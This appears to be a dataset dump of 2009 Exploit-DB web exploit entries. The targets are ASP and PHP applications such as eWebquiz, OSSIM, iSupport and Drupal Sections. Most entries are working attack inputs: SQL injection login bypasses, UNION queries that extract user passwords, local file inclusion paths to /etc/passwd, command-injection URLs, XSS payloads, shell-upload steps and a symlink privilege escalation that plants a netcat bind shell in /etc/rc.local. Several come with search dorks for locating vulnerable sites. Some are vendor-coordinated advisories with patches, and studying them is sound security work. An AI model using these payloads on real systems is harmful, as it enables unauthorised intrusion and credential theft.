QLWD/code_shield huggingface dataset:
标题: eWebquiz 8 - Blind SQL Injection EDB-ID: 10529 CVE: 2009-4436 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-17 漏洞利用脚本: [?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (multi) Blind SQL Injection Vulnerability
[~] Vendor: www.activewebsoftwares.com
[*] Software: eWebquiz v 8
[*] author: ((R3d-D3v!L))
[*] Date: 18.dec.2009
[*] T!ME: 12:00 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????




[*] Err0r C0N50L3:

  http://server/questions.asp?QuizID={Xp10}

 0R

  http://server/importquestions.asp?QuizID={offsec}

 or

  http://server/quiztakers.asp?QuizID=((r3d D3v!L))


 [~] {Xp10}:

  7Ru3 : questions.asp?QuizID=1 and 1=1

  f4L53: questions.asp?QuizID=1 and 1=2

 0R
   {offsec}
  7Ru3 : importquestions.asp?QuizID=1 and 1=1

  f4L53: importquestions.asp?QuizID=1 and 1=2

 0r
   ((r3d D3v!L))
  7Ru3 : quiztakers.asp?QuizID=1 and 1=1

  f4L53: quiztakers.asp?QuizID=1 and 1=2

N073:


N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)

! GAZA !N 0uR HEART's blood and M!ND
[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]-------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10529
标题: Active Auction House 3.6 - Blind SQL Injection EDB-ID: 10520 CVE: 2009-4437 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-17 漏洞利用脚本: [?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (wishlist.asp catid) Blind SQL Injection Vulnerability
[~] Vendor: www.activewebsoftwares.com
[*] Software: Active Auction House v 3.6
[*] author: ((R3d-D3v!L))
[*] Date: 17.dec.2009
[*] T!ME: 10:06 pm
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[*] Err0r C0N50L3:

[*] http://server/demoactiveauctionh/wishlist.asp?catid={bL!ND}



[*]BL!ND sql

7Ru3 : links.asp?linkid=1 and 1=1


f4L53: links.asp?linkid=1 and 1=2



N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)

! GAZA !N 0uR HEART's blood and M!ND
[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]-------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10520
标题: PhpLinkExchange 1.02 - Cross-Site Scripting / Upload EDB-ID: 10495 CVE: 2008-3679 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-16 漏洞利用脚本: #############################
PhpLinkExchange v1.02 - XSS/Upload Vulerability
Discovered by : Stink'
Date : 2009-12-16
Dork : "PhpLinkExchange v1.02"
Website Publisher : http://www.idevspot.com/PhpLinkExchange.php
#############################

-- [XSS in URL] --
http://server/links/PhpLinkExchange/index.php?page=home&catid=[XSS]

-- [XSS in form] --
http://server/links/PhpLinkExchange/index.php?page=tellafriend
The XSS is in "Your Email Adress"

-- [Upload Vulnerability] --
http://server/links/library/add_images.php
After your shell uploaded, go here :
http://server/links/appimage/ and search your shell :) URL: https://www.exploit-db.com/exploits/10495
标题: Digiappz Freekot - Authentication Bypass EDB-ID: 10496 CVE: 2006-4524 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-16 漏洞利用脚本: [?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~]Tybe:(4u7h 8yp455) Remote SQL Injection Vulnerability
[?]
[~]Vendor: www.digiappz.com
[?]Software:freekot
[?]
[?]author: ((R3d-D3v!L))
[?]
[?]Date: 16.dec.2009
[?]T!ME: 11:30 pm
[?] Home: WwW.xP10.ME
[?]
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[?] Exploit:

[?] E-/\/\A!L : x' or ' 1=1

[?] password : x' or ' 1=1



[?]demo:


[?]http://server/freekot/login.asp


N073:

REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}-----------------------------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 &#1616;ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]-------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10496
标题: OSSIM 2.1.5 - Remote Command Execution EDB-ID: 10480 CVE: 2009-4372 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-16 漏洞利用脚本: Advisory Name: Remote Command Execution in OSSIM


Vulnerability Class: Remote Command Execution

Release Date: 12-16-2009

Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

OSSIM is prone to a remote command execution vulnerability because the software fails to adequately
sanitize user-supplied input.
Successful attacks can compromise the affected software and possibly the computer running OSSIM.

Proof of Concept:

http://server/ossim/sem/wcl.php?uniqueid=1;ls%20%3E%20/tmp/listing
http://server/ossim/sem/storage_graphs.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs2.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs3.php?uniqueid=;ls%20%3E%20/tmp/listing;
http://server/ossim/sem/storage_graphs4.php?uniqueid=;ls%20%3E%20/tmp/listing;

Impact:

Direct execution of arbitrary code in the context of Webserver user.
Solution: Upgrade to OSSIM 2.1.5-4

Vendor Response:

2009-12-08 – Vulnerability is identified
2009-12-09 – Vendor is contacted
2009-12-09 – Vendor confirmed vulnerability
2009-12-16 – Vendor released fixed version
2009-12-16 – Vulnerability is published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com
About CYBSEC S.A. Security Systems:
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
proof of their professional life.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
(c) 2009 - CYBSEC S.A. Security Systems URL: https://www.exploit-db.com/exploits/10480
标题: Drupal Module Sections - Cross-Site Scripting EDB-ID: 10485 CVE: 2009-4429 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-16 漏洞利用脚本: The text of this announcment is also available at
http://www.madirish.net/?article=440

Description of Vulnerability:
- - - -----------------------------
Drupal (http://drupal.org) is a robust content management system (CMS)
written in PHP and MySQL that provides extensibility through various
third party modules.  The Sections module
(http://drupal.org/project/sections) "allows you to create sections
within your site. Each section has an installed template, theme or style
attached to it."

The Sections module contains a cross site scripting vulnerability
because it does not properly sanitize output of section names before
display.

Systems affected:
- - - -----------------
Drupal 6.14 with Sections 6.x-1.2 was tested and shown to be vulnerable.

Impact:
- - - -------
XSS vulnerabilities may expose site administrative accounts to
compromise which could lead to web server process compromise.

Mitigating factors:
- - - -------------------
The Sections module must be installed.  To carry out a Sections based
XSS proof of concept exploit below the attacker must have 'administer
sections' permissions.

Proof of Concept:
- - ---------------------
1.  Install Drupal 6.14
2.  Install Sections 6.x-1.2
3.  Enable the Sections module from Administer -> Site building -> Modules
4.  Click Administer -> Site building -> Sections
5.  Click the 'Add section' button
5.  Enter "<script>alert('xss');</script>" in the 'Name' text area
6.  Click the 'Add section' button to save the section and observe the
rendered JavaScript
7.  Click on the 'Sections' link in the navigation to observe the
rendered JavaScript

Technical details:
- - ------------------------
The Sections module fails to sanitize the output of the section name
before display.  Applying the following patch fixes this vulnerability.

Patch
- - -------
Applying the following patch mitigates these threats.

- --- sections/sections.admin.inc 2008-06-01 08:51:51.000000000 -0400
+++ sections.fixed/sections.admin.inc   2009-11-06 15:43:53.997416137 -0500
@@ -234,6 +234,7 @@ function theme_sections_admin_display_fo
   foreach (element_children($form['sections']) as $key => $id) {
     // Don't take form control structures.
     if (is_array($form['sections'][$id]['name'])) {
+      $form['sections'][$id]['name']['#value'] =
filter_xss($form['sections'][$id]['name']['#value']);
       $form['sections'][$id]['weight']['#attributes']['class'] =
'sections-order-weight';
       $rows[] = array(
         'data' => array(


Vendor Response
- ---------------
Upgrade to the latest version.
SA-CONTRIB-2009-112 http://drupal.org/node/661404

- -- 
Justin C. Klein Keane
http://www.MadIrish.net URL: https://www.exploit-db.com/exploits/10485
标题: OSSIM 2.1.5 - SQL Injection EDB-ID: 10479 CVE: 2009-4375 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-16 漏洞利用脚本: Advisory Name: SQL injection in OSSIM

Vulnerability Class: SQL injection

Release Date: 12-16-2009

Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

A vulnerability has been discovered in OSSIM, which can be exploited by malicious people to conduct
SQL injection attacks.
Input passed via the "id_document" parameter to repository_attachment.php is not properly sanitized
before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.
The vulnerability is confirmed in version 2.1.5. Other versions may also be affected.

Proof of Concept:

http://server/ossim/repository/repository_attachment.php?id_document=1%20union
%20select%201,2,login,4%20from%20users
http://server/ossim/repository/repository_attachment.php?id_document=1%20union
%20select%201,2,pass,4%20from%20users

Impact: Execute arbitrary SQL queries.

Solution: Upgrade to OSSIM 2.1.5-4

Vendor Response:

2009-12-08 – Vulnerability is identified
2009-12-09 – Vendor is contacted
2009-12-09 – Vendor confirmed vulnerability
2009-12-16 – Vendor released fixed version
2009-12-16 – Vulnerability is published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com
About CYBSEC S.A. Security Systems:
Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
proof of their professional life.
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
software and/or hardware provider companies.
Our services are strictly focused on Information Security, protecting our clients from emerging security
threats, maintaining their IT deployments available, safe, and reliable.
Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
and contributing with the security community with high quality information exchange.
For more information, please visit www.cybsec.com
(c) 2009 - CYBSEC S.A. Security Systems URL: https://www.exploit-db.com/exploits/10479
标题: VideoCache 1.9.2 - 'vccleaner' Local Privilege Escalation EDB-ID: 10487 CVE: 2009-4454 类型: LOCAL 平台: LINUX 发布日期: 2009-12-16 漏洞利用脚本: ====[ SYNOPSIS ]=====================================================

VideoCache is a Squid URL rewriter plugin written in Python for 
bandwidth optimization while browsing video sharing websites.  Version 
1.9.2 allows a user with the privileges of the Squid proxy server to 
append semi-arbitrary data to arbitrary files with root privileges, upon 
the administrator's execution of the 'vccleaner' utility.


====[ DISCUSSION ]===================================================

VideoCache's 'vccleaner' utility is intended to be executed with root 
permissions periodically, to remove expired videos from the cache.
(The utility will refuse to execute without root permissions.)
Upon execution, it looks for old files under the cache directory
/var/spool/videocache (writable by the Squid proxy user) and deletes
them.  Each deleted filename is logged to vccleaner.log, located in 
/var/log/videocache (directory writable by the Squid proxy user).


====[ EXPLOIT ]======================================================

.........................attacker.........................
$ id
uid=13(proxy) gid=13(proxy) groups=13(proxy)
$ cd /var/log/videocache
$ touch -d 19700101 "/var/spool/videocache/youtube/money

    nc -l -p 31337 -c sushi
    monkey"

$ rm -f vccleaner.log
$ ln -s /etc/rc.local vccleaner.log

.........................admin.........................
# id
uid=0(root) gid=0(root) groups=0(root)
# vccleaner
Videocache cleaning has completed successfully.

.........................postmortem.........................
$ cat /etc/rc.local
2009-12-16 06:56:29,403 INFO START Starting Videocache Cleaner.
2009-12-16 06:56:29,403 INFO DELETE /var/spool/videocache/youtube/money
nc -l -p 31337 -c sushi
monkey Older than 14594 day(s) was deleted.
2009-12-16 06:56:29,404 INFO STOP Stopping Videocache Cleaner.


====[ SHOUT OUTS ]===================================================

Tim, Ben, my buddies at GS, Alien Time Agent, and big man O. URL: https://www.exploit-db.com/exploits/10487
标题: iSupport 1.8 - Cross-Site Scripting / Local File Inclusion EDB-ID: 10478 CVE: 2009-4434 2009-4433 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-16 漏洞利用脚本: ---------------------------------------------
++ iSupport <= 1.8 ++
XSS/Local File Include Exploit
---------------------------------------------


Discovered by : Stink' & Essandre
DATE : 16/12/09

//////////////////////////////////////////////////////////////////////

Website : http://www.idevspot.com/
DEMO : http://www.idevspot.com/demo/iSupport/
DOWNLOAD : http://www.idevspot.com/iSupport.php => $

//////////////////////////////////////////////////////////////////////


[+] Vulnerability and Exploitation

Dork : "Powered by [ iSupport 1.8 ]"


--[XSS]--

http://[TARGET]/[PATH]/index.php?include_file=knowledgebase_list.php&x_category=PARENT_CATEGORY&which=[XSS]
http://[TARGET]/[PATH]/function.php?which=[XSS]

Exemple :
http://server/helpdesk/index.php?include_file=knowledgebase_list.php&x_category=PARENT_CATEGORY&which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E
http://serverhelpdesk/function.php?which=%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E

--[XSS]-- in the member zone

http://jvdominator.com/helpdesk/index.php?include_file=ticket_submit.php
The flaw is in the form.
In "Subject, Comments, etc. ..."
After clicking "Submit Ticket" and you have your alert xss:)

--[LFI]--

http://[TARGET]/[PATH]/index.php?include_file=[LFI]

Exemple :

http://server/helpdesk/index.php?include_file=../../../../../proc/self/environ
http://server/helpdesk/index.php?include_file=../../../../../etc/passwd


[+] Solution :

N/A

The flaw is secure on some site, but we do not know if the publisher or persons using the scripts that are secure. URL: https://www.exploit-db.com/exploits/10478
标题: V-SpacePal - SQL Injection EDB-ID: 10473 CVE: 2009-2619 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-16 漏洞利用脚本: [~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
[?]
[~] Vendor: www.datachecknh.com
[?]
[?] Software: V-SpacePal
[?] Price $29.95 (One-time fee)
[?] author: ((R3d D3v!L))
[?]
[?] Date: 15.12.2009
[?]
[?] Home: WwW.XP10.ME
[?]
[?] contact: X@hotmail.co.jp
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????

[?] ERR0R CONSOLE

NOT FOUND CHAR_(N0T NULL)

[?]SECURE ALERT FR0M 7h3 R3d-D3V!L

[?] Exploit:

[?] User Name : admin


[?] password : X' or ' 1=1

[?]demo:

[?]server/VSPACEDemo/login.asp

N073:
R34L R3d-D3V!L WAS h3R3 ((?0NE NAME 7h3Y ALL FA!R ?))

4R48!4N-HACK3R!!

[~]-----------------------------{str0ke}-----------------------------------------------------

[~] Greetz tO: dolly & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 &#1616;ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]-------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10473
标题: GalleryPal FE 1.5 - Authentication Bypass EDB-ID: 10464 CVE: 2009-2365 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-15 漏洞利用脚本: ------------------------------------------------------------
[~] GalleryPal FE v1.5(Auth Bypass)

[~]TYPE:Remote SQL Injection Vulnerability

[~] ----------------------------------------------------------

[~] author: R3d-D3v!L

[~]

[~] Date: 15.11.2008

[~]

[~] Home: www.ahacker.net

[~]

[~] contact: N/A

[~]

[~] -----------------------------------------------------------


ALERT FR0M THE DARKNESS BY 7h3 REd-D3v!L

[~] Exploit:



[*] username : admin


[*] password : X' or ' 1=1--

[*] demo:

[*] server/GalleryPal_FE_Demo/login.asp



[~] spechial thanks : ((dolly)) & ((7am3m)) & ((magoush_1987)) & (DEV!L_MODE) & ((0R45hy)) & {0}-{n-c-A}-{0}

[~]

[?] 4.!.S ---> ((R3d D?v!L))--JuPA--M2Z --d3v!L-Ro07

[~]

[~] www.xp10.me

[~]

[~]I4M:4r48!4N-3XPLO!73r URL: https://www.exploit-db.com/exploits/10464
标题: LinkPal 1.0 - SQL Injection EDB-ID: 10457 CVE: 2009-2614 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-15 漏洞利用脚本: [~] Tybe: (Auth Bypass) Remote SQL Injection Vulnerability

[~] Vendor:www.datachecknh.com
[?]
[?] Software:LinkPal v1.0

[? ]Price $$9.95 (One-time fee)

[?] author: ((R3d-D3v!L))

[?]

[?] Date: 15.d3c.2009

[?]T!ME: 08:14 p/\/\

[?] Home: www.Xp10.Me

[?]

[?] E-MaiL : X@hotmail.co.jp

[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????

[?] ERR0R CONSOLE

NOT FOUND CHAR_(N0T NULL)
SECURE ALERT
[?] Exploit:


[?] UsER-NA/\/\E : Admin


[?] password : X' or ' 1=1--


[?]login 4 d3m0:

[~]-----------------------------{D?V!L5 4?? h???-wH??? 4?? Y0u!?!}----------------------------------

[~] Greetz tO: xp10_groub & &#1575;&#1576;&#1608; &#1605;&#1581;&#1605;&#1583; & &#1575;&#1604;&#1602;&#1585;&#1575;&#1589;&#1606;&#1577; &#1575;&#1604;&#1593;&#1585;&#1576; & &#1583;&#1585;&#1575;&#1603;&#1608;&#1604;&#1575; & Th3-5h4d0w & M4NON & norhan & C0PRA
[~]

[~] spechial thanks :{str0ke} & ((dolly)) & ((7am3m)) & ???? dev!l_mody???? & 0R45hy & meg4 ;)

[~]

[?] 4.!.5 ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA--.....

[~]I4M:4r48!4N-3XPLO!73R
[~]--------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10457
标题: WSCreator 1.1 - Blind SQL Injection EDB-ID: 10446 CVE: 2009-4351 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-14 漏洞利用脚本: Name              WSCreator
 Vendor            http://www.wscreator.com
 Versions Affected 1.1

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2009-12-15

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX


I. ABOUT THE APPLICATION

Based on one of the world's leading structure  and content
management systems - WebSiteAdmin, WSCreator  (WS standing
for WebSite) is powerful application for handling multiple
websites. This is a commercial application.


II. DESCRIPTION

The email  value is not properly sanitised  when an INSERT
query  is  used and  this is  the cause of  the  Blind SQL
Injection.


III. ANALYSIS

Summary:

 A) Blind SQL Injection

A) Blind SQL Injection

Like I wrote previous, the email field is not properly san
itised, infact if you try to insert an "'", you will obtain
a SQL error message like the following:

You have an error in your SQL syntax; check the manual that
corresponds  to  your  MySQL  server  version for the right
syntax to use near ''','127.0.0.1','1260844198','error','')

The module affected is ADMIN/loginaction.php at line 2.
As you can see, that is a INSERT SQL syntax.

In  order to  exploit  this vulnerability,  the flag Magic
Quotes GPG (php.ini) must be Off.


IV. SAMPLE CODE

username: ',(SELECT BENCHMARK(99999999, MD5(0x90))),'','','')#
password: foo


V. FIX

No Fix. URL: https://www.exploit-db.com/exploits/10446